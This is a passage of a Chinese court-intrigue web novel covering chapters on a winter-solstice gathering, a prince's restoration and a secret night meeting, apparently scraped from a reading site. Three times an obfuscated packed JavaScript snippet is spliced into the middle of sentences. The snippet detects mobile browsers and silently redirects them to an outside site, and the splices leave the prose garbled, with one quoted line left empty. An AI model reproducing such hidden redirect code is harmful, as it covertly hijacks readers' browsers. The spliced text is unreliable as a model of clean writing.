“若是压上生命的权重,也于事无补呢?” 冯矩茫然:“什么?” “以死明志何尝不是一种逃避,自己一死了之,将乱摊子留给活着的人,”乔燕定定地看着他,“清醒地活着,才是殉难,哪怕无人可知,也要为自己敬佩。” 这一回,冯矩听清了,处于久久的震撼之中,哑然失声。 幸好不需要他再说什么,林元海走了回来。 “子规,你去前面瞧一瞧,也不知道那个臭脾气跪了这么久是否吃得消,如果走不了路,还得找人抬回去。” 冯矩依言而去,林元海站了会儿,面向乔燕,感慨万千:“娘娘的话令人深思。” 乔燕看向不远处冯矩的背影,轻声道:“您为何一直带着他?” 林元海怕董玉莲再加害冯矩,所以但凡有机会,出入都把他带在身边。不过此时此刻,林元海想到了另一重原因:“他与我一样,都是深恩负尽之人,我看着他,便像看到从前的自己。” 15. 冬至 临近年关,天越是寒冷。 自发落何舂一事之后,文景帝的身体就时好时坏,朝议不知推了多少,吃了问天观的道士献的仙药,才能提一丝精力处理朝政。 眼见皇帝身体大不如前,储位却一直空悬。大臣们再三奏请立储,呼声最大的就是赵王,以刑部尚书为首,几乎每天都跪在金銮殿,均被文景帝按下。 这样的按兵不动让赵王党逐渐焦躁。文景帝膝下三子,唯一成年有能力继位的只有赵王,皇帝却不松口,很难不让人去想,他老人家是否还惦记着曾短暂露过锋芒的二皇子。 刑部尚书连续几日去董府见董玉莲,却每回都有事错过,次数多了,也叫人明白,董玉莲有意不见。 这让他们焦躁之余更添惶恐。 有一回刑部尚书躲在巷子里,看到轿子从角门出,忙一个箭步拦住,跪在轿前行生礼。 这一跪实在重了,看似低头,实则逼迫。 帘内传出细长的叹息。 “为师且有事,你去府上喝杯茶,喝完了再走。” 董玉莲轻描淡写地避开了赵王党的试探,他这样游刃有余的态度,令人不免恼怒。 “老师就是不肯给学生一个说话的机会吗?” “何至于此呢。你在廷上跪请立储前,怎么没有问问我这个老师。现在跪这不肯起,是要反过来逼我吗?何大人,做人可不兴恩将仇报啊。” 刑部尚书跪在日头下,出一身冷汗。 “起轿。” “老师!” 刑部尚书情急之下一把拽住车辕:“是我莽撞,将您置于两难之地,我不求您原谅,只希望您能指条明路,赵王殿下和我都记着您的恩情。” 帘里竖起枯树皮似的手,轿子停下。 “咱家不懂什么大道理,能活到现在,只知道这天要晴要雨,都看圣人。” “是这个道理……” “你要是知道,现在便不该来寻我,更不该跪在这,这里处处都是厂卫的人,别看我这些年在他们跟前风光,他们归根到底是圣上的眼睛——你可明白?” 山雨欲来,在这样的氛围下,宫人们说话都压着嗓子,唯恐声音太大,惊动潜伏水面下的某种巨兽。 储位之争,唯一没受牵连的,或许只有被排在党派之外的乔家。 这天乔燕如往常一般来到文华殿。 文景帝在和大臣们商量冬至的事情。 《周礼》记载:以冬日至,致天神人鬼。当朝祖皇帝在建朝初便定下“一岁三祭”的祖例,即清明、中元、冬至三日,需行大祭。但后来迁都北京,皇陵所在天寿山离京城有百里之遥,从悼帝开始,便懒于躬亲,只派勋旧大臣走一趟。 今年又格外不同。 今年黄河中游洪灾泛滥,饿殍无数,民间已有一些“天子失道”的传言。文景帝为了平息天怒民怨,在钦天监和问天观的卜问下,决定在天寿山脚下兴建道坛,于冬至日在那里举行祭天大典——当然,这一劳民伤财的举措,甫一提出便被几个大臣严词拦住,胎死腹中。 最后文景帝不得不退让一步,决定一切从简,道坛不建了,天还是要祭。 打发走几个大臣,文景帝卧在榻上闭目养神。 一切如同往常一样。 殿内没有其他宫人,乔燕读完奏疏,将桌案收拾整洁,洗净笔砚。 文景帝就是这时开的口,袅袅檀香中,他没有费力去掩饰声音里的衰老。 “好久没见老二了,近来晚上睡觉,总是梦到他小时候。” 乔燕停下手里的动作。她一只手里还握着沾水的毛笔,手心湿漉漉的,也不知是水还是汗。 “我的第一个孩子没有足月就夭折了,老二其实就是我心里的长子。我看着他牙牙学语,蹒跚学步,他会说的第一个字是‘耶’,唤朕‘耶耶’。那时候,我感受到世上所有的父亲都会有的欣慰与自豪。” 这时,常跟在文景帝身边的道童进来添香,文景帝便止了话头,方才一切仿佛只是乔燕的一抹错觉。 乔燕取过干净的绢布,擦干笔杆上的水,然后将其挂回笔架上。 董玉莲躬身进来,手里捧着紫檀盒。 “圣人,金官道君送来今日的仙药。” 文景帝睁开眼,轻抬手。乔燕放下绢布,和董玉莲一左一右扶着他坐好。 董玉莲递上一杯温水。 文景帝打开木盒,将里面的朱色丹药就着温水吞下,闭目养神片刻。 药效上来,他精神也好了许多,当着董玉莲的面忽然问道:“乔氏,这几日我和大臣们商讨的事你也听到了。祭天是大事,但是我愈感疲累,有心想将此事托付出去,你看谁合适?” 一瞬间,乔燕感到董玉莲的目光似乎隐晦地落在了自己身上。 她想起了前几日暗中捎来的家书,让她伺机吹吹“枕头风”,助二皇子归朝。 其实就算没有这封家书,在更久之前,她也已经从林太傅那里明白了文景帝的意向。 乔燕眼皮不动,用平常的语调说道:“国之大事妾本不该多嘴,但按祖例,冬至祭天的同时亦要祭祖先皇帝,这也算您的家事,非真龙血脉不可主持。赵王殿下忙于刑部和工部,想来鲜有余暇,其余诸殿下年岁尚幼……不过妾身倒是想到,前不久遇到长公主,听她说起还有个血亲……” 铺垫至此,文景帝没有丝毫打断的意思,乔燕方说出那个被朝廷遗忘已久的称呼:“臣妾斗胆,不如让二皇子来操办此事。” 说着,她抬头,董玉莲的目光已经收了回去。 文景帝不置可否,问:“董大伴,你觉得谁合适?” 董玉莲呵呵地笑:“一切都要看您的心意。” 文景帝笑骂:“你什么时候也在朕跟前藏话了。” 董玉莲不能不说了。 刑部尚书是他的学生,突然跳出水面站在赵王身边,便是将他推到悬崖边上。 董玉莲因此埋怨上赵王,但和赵王相比,熟读孔孟之道、受内阁推举的二皇子更不合他心意。 “那奴婢就大胆直言……二皇子到底有罪无功,就这么放出来,奴婢怕有人会借此事攻讦您。” 文景帝喝了一口水,面色红润了不少,点向乔燕:“我觉得,董大伴的话也有道理,放老二出来怕是师出无名啊。” 总是被皇帝当挡箭牌顶在前面,乔燕如今已经分外熟练:“人非圣贤,孰能无过,过而能改,善莫大焉。二皇子被圈禁六年,再大的过错想必也已经悔悟了,将祭天之事交予他操办,若一切顺利,便代表上天原谅了他,那您也可以再给他一个机会。” 早知乔燕有急智,极善辩,听得此言,文景帝还是忍不住在心里又一次对她刮目相看。 没有再问董玉莲,当场拍定:“这个办法好,老二究竟还有没有罪,不如让老天爷来决定。” 冬至祭天如何,深在宫城的乔燕无缘亲见了。 十月廿一,冬至日,早上,尚食局送来一大碗饺子。 乔燕生在江南,不爱食这个,只吃了一个应应景,其余都分了下去。 天实在太冷,冬至日休沐七天,不要去伺候两位顶头上司,正是难得的悠闲时日,乔燕窝在床上不肯起。 趁她睡回笼觉的时候,几个奴婢一商量,去大厨房要了些糯米粉和赤豆,回来起了灶,煮了一锅赤豆汤圆,掐着乔燕睡醒的时辰送到床边。 “江南是有这个习俗。” 乔燕捧着碗,热气蒸得眼睛发烫,两口就咬掉一个汤圆,“相传有位共工氏作恶多端,殁于冬至日,死后化作恶鬼继续为祸人间,但是十分害怕赤豆,于是人们在这一天吃赤豆辟邪。” 一碗汤圆下肚,乔燕来了兴致,颇为可惜地道:“要是有冬酿酒就圆满了。” “什么是冬酿酒?”宜婵疑惑地问。 自乔燕回到乔府后她便跟在身边伺候,却也是第一次听说。 倒是苏杭出生的黎月抿唇一笑:“这是姑苏的习俗。姑苏人十分看重冬至,素有‘冬至如大年’一说,除了要吃汤圆,也要在夜里喝一种加了桂花的米酒,就是冬酿酒了。” 乔燕道:“百姓们忙了一年,在这一晚阖家团聚,喝酒吃肉,未免不是对生活的一种褒奖与寄托。” 宜婵一直有种感觉,入宫后,乔燕变化很大。 从前的乔燕虽也不是什么活泼的性子,但亦有少女的蓬勃,会在夏天贪凉,在冬天赖床,在春天跟着乔四郎去郊外踏青,在秋天应景地感时悲秋;会在夫人面前乖顺地听训,关上门后嘟着嘴生闷气;会因为元日的一盏走马灯,暗自欣怀许久。 但是入宫后,她日渐沉寂了下去,从外表看似乎并无不同,只有亲近的人知道,皮囊下面有什么飞速地死去,这是一种比成长更为沉重的变化。 此刻乔燕难得流露出对什么东西的期许,宜婵顿时生出一种使命感:“奴婢去问一问,说不定有呢。” 乔燕没有阻止:“有就要些来,没有便算了。” 米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040928|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒因其低廉的制造成本多为民间百姓所爱,宫内没有主子爱喝。宜婵去尚食局、御酒坊都问了一圈,果然没有。她有些失望,又不甘心这么回去,想了想,去司礼监寻金春山。 在门口等了一会儿,金春山提着风灯匆匆出来,见面先把灯递了出去,笑道:“您上回借给我的灯,本来说有空去衔青宫谢您,但一直抽不开身,竟拖到今日。” 宜婵一怔,接过灯:“不过一盏灯罢了,公公留着用便是。” 金春山一笑:“姑娘来找我,是不是娘娘有什么吩咐?” “倒也不算娘娘的吩咐……” 宜婵把冬酿酒的事儿说了一遍,又道:“宫里头寻不到这酒,我也是找不到熟人了,就想着来您这看看,您要是正好有出宫的差事就帮忙带一壶,要是没有就算了。” 金春山抬头看了看日头,心里头合计了一番时间,道:“不是什么大事,我等会儿出宫给娘娘买一壶来,您先回去,晚上我亲自去给娘娘请安。” 得了准信,宜婵兴高采烈地回了衔青宫,把事情跟乔燕一说。 如此兴师动众,让乔燕有些过意不去:“没有便没有罢,何必如此大动干戈。这样,你们去张罗一些生食来,我们晚上留小金公公煮锅子吃。” 于是宜婵把西苑时的那个红泥火炉翻了出来,擦净在阳光下晒了一番,等到夕阳西下时,摆了炭,引了火,架上一口大铜锅,倒入熬制一下午的猪骨汤。 乳白色的汤汁翻滚,浓郁的香气一下子扑满整个屋子。 为免厚此薄彼,乔燕让人在厨房另起了一个锅子,那些院外当值的、在主子面前放不开的宫人就去厨房吃。 趁着最后一抹余晖落下,金春山果然提着两壶酒敲门来了。 宜婵坐在乔燕身边,见状笑着招手:“来得早不如来得巧,锅子刚沸公公就来了,可见口福不浅。娘娘特意为你留了个座,还不快来谢恩。” “是,”金春山反手插上门栓,笑嘻嘻地作揖,“还是娘娘体恤奴婢,奴婢都舍不得走了。” “既然舍不得走,留在我们这衔青宫算了。” “宜婵姐姐这句话可作数?我要当真了。乔娘娘愿收留奴婢,奴婢衔草结环也要报答。” 乔燕笑骂:“你们两个别贫了,还吃不吃了。” 金春山也不见外,笑嘻嘻地在末尾坐下:“娘娘这儿每回来都有新鲜的吃食,奴婢以后得多来您这儿请安才是。” 于海和他最熟,伸手指点他:“你每回都赶着饭点来,可不有吃的么。” “奴婢冤枉,娘娘可别听他的一家之言,奴婢倒想早点来看您,但每天办完差事,可不得饭点了。” “你倒是还懂‘一家之言’了,在内书房读书的时候,你可是三天两头见不着人。” 黎月素来文静,没有插话,在一旁含笑看着。 等终于静下来,乔燕亲自开了一壶酒。宜婵拿过倒了一圈。 乔燕举起酒杯:“我敬诸位,多谢你们这半年从西苑到宫城,一直陪在我身边,这杯酒敬你们。” 说完一饮而尽。 一杯酒下肚,胃里火辣辣的,煽情的话语和着锅子蒸腾的热气,使得身子霎时热了起来。 “是奴婢们该敬娘娘。” 金春山举起酒杯,他素来话多,此刻便自觉担起了活络气氛的任务,“虽然奴婢并非衔青宫之人,但在奴婢心里,娘娘是顶顶好的主子,是这个——”他竖起了大拇指,“奴婢不会说话,一切对您的敬仰之情,都在这杯酒里了。” 眼见他说完,其他几人也蠢蠢欲动,乔燕吓了一跳:“你们该不会要一个一个敬过来罢?那我喝酒都喝饱了!” 宜婵噗嗤一笑,亦抬起酒杯:“这倒是说出了大家的心里话,为了能让娘娘少喝点酒,我们就一起敬了吧。” 四五个酒杯碰在一起,将那些说出口的、未说出口的,都闷进了肚子里。 酒过三巡,众人也渐渐抛开了拘束,热火朝天地吃起了锅子。 吃到一半,宜婵去小厨房拿炭,不一会儿拉开门,说道:“外面下雪了。” 众人顺着半开的门朝外看去,果然看到片片雪花,悠悠洋洋地飘落。 “大雪瑞丰年,是个吉兆。” 乔燕亲自拿起酒壶,给大家各斟了一杯,“借此吉时,再敬诸位。” 入宫不过半年,闺中时光却久远的仿若前世,乔燕觉得,自己好像慢慢释怀了。 “就敬白昼渐长,春归有期。” 16. 夜谈 冬至翌日频传喜报。 先有福建水师抗倭大捷,后有二皇子主持祭天圆满成功,圣心大悦,恢复其亲王爵位,赐封号“秦”。 这次赐封先前从未流露过半点消息,文武百官吓了一跳,很快以束继文为首的官员反应过来,欣喜若狂,山呼万岁。 朝议结束,赵王笑着恭贺秦王,看不出半点勉强。消息传至后宫,柳昭仪失手摔碎了一对最喜爱的琉璃瓶。 秦王起复,乔燕深知自己会被赵王党恨上,特意把衔青宫上下齐召一堂,叮嘱近日小心行事,以免柳昭仪报复。 宜婵不解,乔燕私下跟她说:“这封号也有讲究,‘秦’与‘赵’,秦为尊,圣上虽未恢复秦王东宫之位,但是赐下这个封号,不能不令人多想。” “赵王在朝经营这么多年,岂是一个封号就可撼动的。” “经营多年又如何?到头来不过天子一言。秦王虽被圈禁多年,玉牒上却记在皇后名下,乃是正统,在这件事上,整个儒林都是他的后盾,不一定就比不得赵王。” 柳昭仪母家背景平平,在她承宠前,柳家最大的官位不过从五品,柳昭仪一举得子,才抬举了柳家。 柳昭仪不是个聪明的女人,但赵王确实敏慧,他深知自己的不足之处,这么多年投圣上所好,醉心修道,抓住机会为圣上排忧解难,这才稳坐“最得宠的皇子”一位。 圣上子息祚薄,柳昭仪育有一子一女,功绩斐然,这么多年却只得了一个低位,其实已经昭明了圣上心意。只是从前秦王废为庶民,圈禁城郊,朝中再无皇子,柳昭仪和赵王得势,这才蒙蔽了很多双眼睛。 不想多年经营,还是不敌叵测圣心。 圣上的宠爱又如何?柳昭仪不也很宠爱她那只京巴犬么? 想到这里,乔燕隐隐有些忧心。 也许是因为年纪大了,圣上最近做事越来越急躁,赵王在朝经营多年,暗中不知还有多少布置,真的会甘心退让吗? 当月望日,乔燕起了个早去景仁宫请安,柳昭仪称病未至,昔日与她交好的妃嫔三缄其口,皇后循例请人送去名贵药材补品,慰问一二。 与柳昭仪形成鲜明对比的是贤妃。 贤妃膝下仅有一位公主,还远嫁北元,看似无依无靠,是以平日低调做人,事事小心。但贤妃母家的侄儿曾是秦王侍读,秦王起复,贤妃扬眉吐气,满面春风,话也比平日多了起来。 又一日,乔燕前往文华殿,在踏跺下迎面撞见董玉莲。 一条道,两个人。一阵风把相似的一幕从半年前吹到今日。 乔燕慢慢停下步子,平静地看着董玉莲,眼里没了从前的畏惧,也没有得意。 董玉莲还是笑吟吟的,似乎二人之间从未生过龌龊,如常问候,匆匆远去了。 结束一天的诵读,乔燕扶着文景帝蹒跚地回到起居的主敬殿。 文景帝坐在床上,单手接过乔燕倒的温水。方才在大臣面前时还好,此时此刻,他隐忍了一天的力不从心慢慢显露出来,握着茶盏的手克制不住地打着颤。 随着一声闷响,轻薄细腻的白瓷落在厚厚的地毯上,水洇湿了一大片。 “圣上恕罪。” 乔燕连忙跪地,双手捡起茶盏。 文景帝摆了摆手,示意自己没有怪罪。但经此一遭,他的心情也降到了极点,一团气似乎堵在胸口,让他呼吸变得浑重。 “乔氏,你尽心服侍我这么久,我也没赏过你什么。咳咳。” 文景帝咳了两声,乔燕轻抚他的后背为他顺气。 “你有什么想要的吗?” 乔燕轻声道:“圣上予我甚多,妾身别无所求。” 文景帝喘了一口气,拉住她一只手,感慨似的拍了拍:“天越来越冷,你住的侧殿没有地龙,朕再赏你个有地龙的屋子吧。” 于乔燕而言,这几日充满了一波三折、鸡零狗碎。 于冯矩而言,只有满屋的故纸旧事。 休沐结束的第一天是个阴天,入夜后,月亮隐在厚重的云层后,透过罅隙映出斑驳的线,把黑天割成无数碎块。 翰林院一角屋中仍旧亮着烛火。 朝堂局势风起云涌,这儿是大齐门内少有的清净地。 束阳将笔洗净挂在架上,纸上小楷笔墨未干,密密麻麻地记录着两朝之前一位义商的生平。 他端详着这半个月的成果,心里涌出浓郁的成就感。若不出意外,此文将入史册,也不枉他宵衣旰食这么多月,衣服套在身上都宽大了一圈。 扭过头,透过两个书架看到灯火如豆,莹莹烛光的笼罩下冯矩仍在奋笔疾书。 束阳面露复杂。 冯矩官复原职、重回翰林时,无人愿与他一间屋子共事。 《齐志》是一部纪传体史书,林太傅让冯矩仍旧如从前一般负责其中的巨贾篇,另外两个同僚当即摔笔明志,表明不愿与其为伍。 林太傅没有强求,问唯一沉默的束阳:“檐臣,你呢?” 冯矩也将目光投了过来,他的眼神平静无波,似乎早已做好独自一人的准备。 顶着同僚愤怒的眼神,鬼使神差的,束阳说道:“我仍如从前一样。” 那一瞬,他看到冯矩眼神十分诧异,继而变得感激,好像从他这句话里汲取到了某种慰藉。 同僚不敢置信地瞪着他,仿佛他走上了什么岔路。 林太傅走过来,握了握他的肩膀,似喟叹似宽慰:“那巨贾篇日后便交给你们二人了。” 后来冯矩也问过他,为何仍旧愿意共事。他润色着笔下的文字,头也不抬地说:“文无过错。巨贾篇一共收录二十一人生平,其中泰半都是你整理出来的,不论品性如何,至少你的文章我们都不及。我一直相信,人有千相,唯文字如棋子,一落一定,为大真实。” 束阳从回忆里抽身,拿着纸张走向那盏烛火,公事公办地道:“山西义商刘世宜一篇我已整理完,初稿是放我那儿还是拿给你?” 冯矩搁笔,起身双手接过:“辛苦束修撰,先放我这吧。” “还剩孔道学和李汜二人之传,这二人里面,孔商生于闽,发于琉球和苏禄等海外之地。李商生于苏州,富于江南。常先生带回来的关于他们生平的手稿遗失,怕要亲自再去一趟。但这一走,少有半年,长则数年。” 上一任皇帝决心修齐史,这才有了《齐志》,当时的巨贾一篇由一位常姓老翰林负责,常老先生一生游走在外,没有后代。中途因为朋友的一封手书,回京收了一位学生,从那之后一边带学生外出游学,一边继续整理手稿。后来老先生病故于道,他的学生扶灵还京,带回老先生的手稿,整整塞满了两大书箱。 这位学生就是冯矩。 冯矩十四岁跟着老师在外游学,十八岁回京,二十岁金榜题名,点状元,入翰林,见老师的书稿被堆弃于书库角落,因无人打理生腐蛀虫,心痛不已,这才知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在这时,有人轻轻扣了扣门。 门没锁,在这声礼节性的知会后被人推开,林元海站在外面。 愣了一瞬,束阳忙行生礼:“老师。” 冯矩也起身执礼。 “我刚从宫里出来,看到灯还亮着,就来看看,《巨贾篇》修得怎么样了?”林元海对束阳道,“既准备走了,不用特意在这陪我,先去休息吧,子规陪我看看文稿。” 束阳应了一声,裹紧身上的斗篷,低着头迈入了北风里。 直到后面值房的灯亮起,林太傅才收回目光,忽然朝旁让了一步,垂头拱手,轻唤了一声:“殿下。” 话落,院子的阴影里走出一人。 “许久不见,子规。” 冯矩大惊,跪地叩首:“秦王殿下!” “起来吧。冯相公的事我都听说了,那时我也被关着,纵使有心却无余力相助。冯相公好歹曾教导过我,我救不了他,听说你还活着,一出来便打听你的消息。刚刚从父皇那里出宫,看到翰林院的灯还亮着,林太傅说或许是你在,便来看看。” 秦王一边说着,一边走进屋子,坐在背光一侧,以免影子投到门户上。 “二位也坐。” 桌角有一只陶瓷茶壶,里面灌了半肚子浓茶水,是提神用的。秦王姿态自然地拎起来倒了三杯,也不嫌弃苦涩的口感,径自喝了一口。 “今夜只是故友相见,随便聊聊。” 他都这么说了,冯矩和林元海就抛了尊卑,在案边坐下,三人围成一个半圆。 17. 秦王 手里的茶水有些冷了,秦王将其放在了桌上。 “……你十四岁就游学在外,离家万里,老师面上看不出什么,你父亲担忧的吃不下饭,还被他骂。有一回江西传来洪讯,听闻一连淹没了数十个村镇,不知怎的,老师竟在经筵上走了神。后来我们才知道,原来那一阵你就在江西。” 这些经年之事好像蒙上了一层尘埃,乍一翻动,远的像上辈子的一样。 冯矩一边回忆,一边慢慢地道:“那场大水之后,遍地浮尸,到处都是失祜的孩童。我们拿出仅剩的面饼分食给那些孩子,但还有更多的人救不了。朝廷拨下的救济粮只施了五日便告急,县令向城里的大户募捐,都哭喊着没有余粮,很多百姓就这么活活饿死。” 秦王震惊:“还有此事?京里一点消息都没有。” “压粮的是司礼监的太监,米袋里混着一半的石沙,将石沙筛去煮粥,小孩子都要饿着一半肚子。救济的粮食吃空后,城里的商户忽然有了余粮,以天价叫卖,买不起的人家只能饿死。” “当地县令为何不上诉朝廷?”秦王听得震怒。 冯矩摇了摇头:“这些我就不知道了,只知道那位县令没过多久就迁去了别处。” 一直沉默的林元海听到这里,忽然离席跪地。 “殿下,老臣有罪。当时我还是首辅,留襄县县令上奏的文书,被我扣下了。” 说着,他忍不住深深地俯下了身,以额触地。动作带起的微风掠过案上烛火,跃动于花白的鬓角。 宽大的袍服下隐隐印出瘦削的脊梁。这一弯,从这位大齐定海神针般的老臣身上,隐约可窥见一缕无奈与愧疚。 秦王的怒容转换成错愕。 冯矩却低声道:“您若不扣下,被董玉莲看到,那位为民请命的县令,就不只是平调了。” 秦王的目光投向了他,寂寥沉暗的夜里,那眼神若有深意:“那一年你回来了。” 冯矩垂着眼,平和地道:“先师因那一场洪水受了惊,没过多久就病逝了,我送他回京。” 冯矩为老师守孝三年,三年后的秋闱高中会元。 次月殿试,冯矩其人胸中文富五车,笔下句高千古,在文华殿中掀起一股惊艳风潮。文景帝拿着他的卷案,看着他的面容,实在定不下来给探花还是状元,后来还是林元海说了句“无以颜貌负才学”,方有了冯矩的状元。 烛芯烧得短了,火燎到烛蜡,陡然暗了下去。秦王起身,微弯下腰,拿起铜剪剪去一截烛芯,火光复明亮。 他往窗边踱了两步,小心着影子不投到窗纸上,深吸了一口寒气,晚间陪文景帝喝的酒意下去了不少,脑袋重新变得清醒。 话题不知怎的就歪到了这儿。 “老师面冷心热,内敛持重,很多话嘴上不说,其实都藏在心里,”秦王又将话头掰回最初,“我当时被困在京郊别院,收到了老师的绝笔。” 说着,他从袖袋里取出了扎成卷的白布,被束成巴掌大,虽未展开,却可见上面有干涸的血字。 他今日特地穿了一件大袖袍,就为了夹带这一卷血书。 他坐回座位,双手捧着白布卷,肃重地递到冯矩眼前,眼里有着悲戚。 冯矩心神剧震,看着他的手,竟生出了些许抗拒,迟迟不肯去接。 秦王盯着他,轻轻地道:“东厂诏狱里书信轻易不能递出,老师临终前在内衫上写下绝笔,等他枉死后,冯家女眷进入诏狱为他更换血衣、整理遗容,回家后才在衣角发现了这几行字,于是裁下来托太傅交给了我。这是老师写给我的,但我希望你能看一看。” 也不知过了多久,冯矩终于缓缓抬起手,拿过血书,却不展开,反是揣到了怀里。 “……请殿下允我……一人时再看。” 秦王体贴地点了点头,站了起来:“老师托我照看你,你若有什么难处尽管来寻我。时间不早了,我走了。” “殿下慢走。” 冯矩起身拱手。 林太傅也站了起来,作势欲送。秦王对他们摆了摆手。 “二位留步。” 几步走到门边,秦王忽然停下脚步,说道:“子规,方才聊到你回京,我忽然想起了,琼林宴上父皇问你为何要参加科举,你是怎么回答的。” 他没有回头,丢下这句没头没脑的话,就一头扎进了黑黢黢的夜里。 静了片刻,林元海说道:“也不知老冯留的血书里写了什么,殿下放心不下,一心要见你。今夜说了这么多,我听着好像是想开解你,见你状态尚可,他应当也放下心了。” 冯矩苦笑:“是我太不争气了,害的殿下担心。” “方才殿下一提,我也想起来了,当年琼林宴上你的回答我也还记着呢。” 说到这里,林元海拍了拍他的手臂:“我也走了,再不回去家里该担忧了。” 冯矩张了张嘴,想要送行,却发现喉咙里不知何时堵着东西,发不出声音。 “早些歇息。” 林元海最后拍了拍他的肩,也离开了。 西风斜着钻进屋内,吹得蜡烛摇摇晃晃,冯矩盯着自己忽短忽长的影子,久违地感受到了敏感纤细的情绪。 秦王一而再、再而三地点着他,他终究是不可避免 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050672|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地被拉回了很久远的过去。 江西那场洪灾发生时他才十七岁,领着他在外游学的老师姓常,时任翰林学士。常学士整颗心都扑在《齐志》的编纂上,无心于仕途,常年漂泊在外,寻访各地名人事迹,也因此落了一身毛病。 洪灾发生时,冯矩和常学士被困在一个小山坡的坡顶,四周是无垠的汪洋,时不时飘来一具动物或者人的尸体,带来的除了恐惧还有绝望。他们就这么光靠着喝水熬了四天,才等到官兵的救援。 经这么一遭,常学士的身体彻底垮了下去。冯矩衣不解带地照顾了他半个月。 最后那几天,常学士精神好了些。有一天坐在床上喝药,叮嘱道:“等我走后,你把我埋在皇城东边的红叶山上,那儿离翰林院近,我想看着《齐志》著完。” 冯矩舀了一勺药,吹了吹,递到他嘴边。 “好。等写完了,我烧一卷给你。” 常学士喝了那口药,苦得咂了咂嘴:“那之后你想做什么?” 冯矩手上动作微顿,眼睫颤了颤。 这件事这些时日他似已思索了无数遍,回答得不假思索。 “我想留在京城,参加科举,造福百姓。” “好,好,有志气,”常学士笑了起来:“但是可别忘了为师的手稿,那是我的命根子。” “不会的。” 常学士没有娶妻,他走后,冯矩扶灵回京,又为他守孝三年。三年磨一剑,冯矩将毕生所学融入一腔热血,于文华殿初露锋芒。 琼林宴上,文景帝考校新科进士,问及为何科举,冯矩回答:“” 他这个回答算得上中规中矩,和旁人的并无不同,但弱冠青年眼神坚定,无端令人信服。 熄了灯,锁好门,冯矩也迈入了夜幕里。 步道空旷,西风簌簌地响,等走到后排值房,道边才种了一些万年青和松树。 回到常住的那一间空舍,伸出手关门,冯矩这才察觉手关节冻得有些僵硬,想起要烧炭取暖,又才发现忘了去柴房拿炭。 罢了。 他在桌边坐下,用桌上的火折子点亮了油灯,干坐了好一会儿,才迟缓地从怀里取出那卷透着血迹的布卷。 解系带的手止不住地发抖。 二殿下敬览: 臣尽瘁事国,含恨折戟,怨愤难平,乃至冲动之下,逼孙独活。臣有罪,孙无辜,倘殿下还政于朝之期,孙仍存世,望能庇之,不甚受恩感激。冯忱绝笔。 油灯在窗纸上印下佝偻的侧影,他坐在桌边,似是将脸埋入掌心,维持着这个姿势,直到油尽火灭,都没有再动一下。 18. 私访 俗话说“热在三伏,冷在三九”,冬至后的第一个壬日起入九,这之后一天冷过一天。 往年有些豆蔻初开的宫女为了好身段,冬天也要取出袄衣里的棉花,用针线掐出杨柳似的腰线。而今年比过去的十几年都要寒冷,人走出屋子,对着屋外的铜缸哈一口气,瞬间就能结出冰花,宫女们不得不放弃要好的心思。 这一天,尚食局费心思做了热腾腾的酒酿小圆子,用红豆、肉桂、和着红糖捣碎了做馅儿,掺一点桂花蜜,既开胃,又驱寒。刚一出锅甜香便扑面而来,趁热送到各宫,拿回来的碗果然都空了。 乔燕到北直隶后每回过冬都只有各种馅儿的饺子,乍一吃回南地的美食,有些贪嘴,一不留神就吃撑了。 糯米圆子不易克化,她挺着肚子坐了一会儿,觉得胃气上涌,有些难受,于是站了起来。 “我要出去走走。” 黎月扶着她:“娘娘要去哪儿?奴婢这就让人备轿。” 乔燕慢悠悠地往门边走:“不用了,我想走一走,消消食。” “您走您的,轿舆还是要备的,等您消完食,走累了,便乘舆回来。” “哪有那么娇气。” 见主子坚持,黎月只好歇了心思:“是。” 说话间已经走到了殿门口,齐思嘉捧着衣物走来,给乔燕戴上暖耳、袖套,又披上厚实的斗篷。这个斗篷乔燕从未见过,白底的织锦缎面绣着一支斜生的红梅,恰是傲雪凌霜。 “这是尚衣局新做的样式吗?” 齐思嘉一边系系带,一边卖好道:“这是黎月姐姐得空做的,黎月姐姐针工巧夺天工,比尚功局的女使们也不为过。” 宜婵忍不住噗嗤笑了出来。 黎月也笑:“傻丫头,我不就是在尚功局做错了事,被赶出来的么。” “这下记起来了。”齐思嘉吐吐舌头。 宜婵最后往乔燕的袖套里塞了一只手炉,见万事俱备,便主动提起门边挂的风灯,推开了门。 这么冷的天,枯枝嶙峋,百花凋敝,无甚看头,御花园里不见一道人影。乔燕在宫女太监们的簇拥下走了一遭,眼见天色渐暗,便要说回去,却在这时,听到了很细微的一声轻哼,脚步又顿在原地。 “你们听到了吗?” “好像是……小猫在叫。”宜婵不确定地道。 也不知出于什么闲心,主仆几人不约而同地屏气竖耳,果然又听到一声猫叫,只是这声要粗犷许多,听起来有些怪。 齐思嘉兴奋地指过去:“那边,假山那边。” 一边说,一边眼巴巴地看着主子。乔燕一笑,心想还是个孩子,如她愿道:“那看看去。” 绕过假山,映入眼帘的是一颗双人合抱的梧桐树,树下围着好几个宫人,俱仰着头。 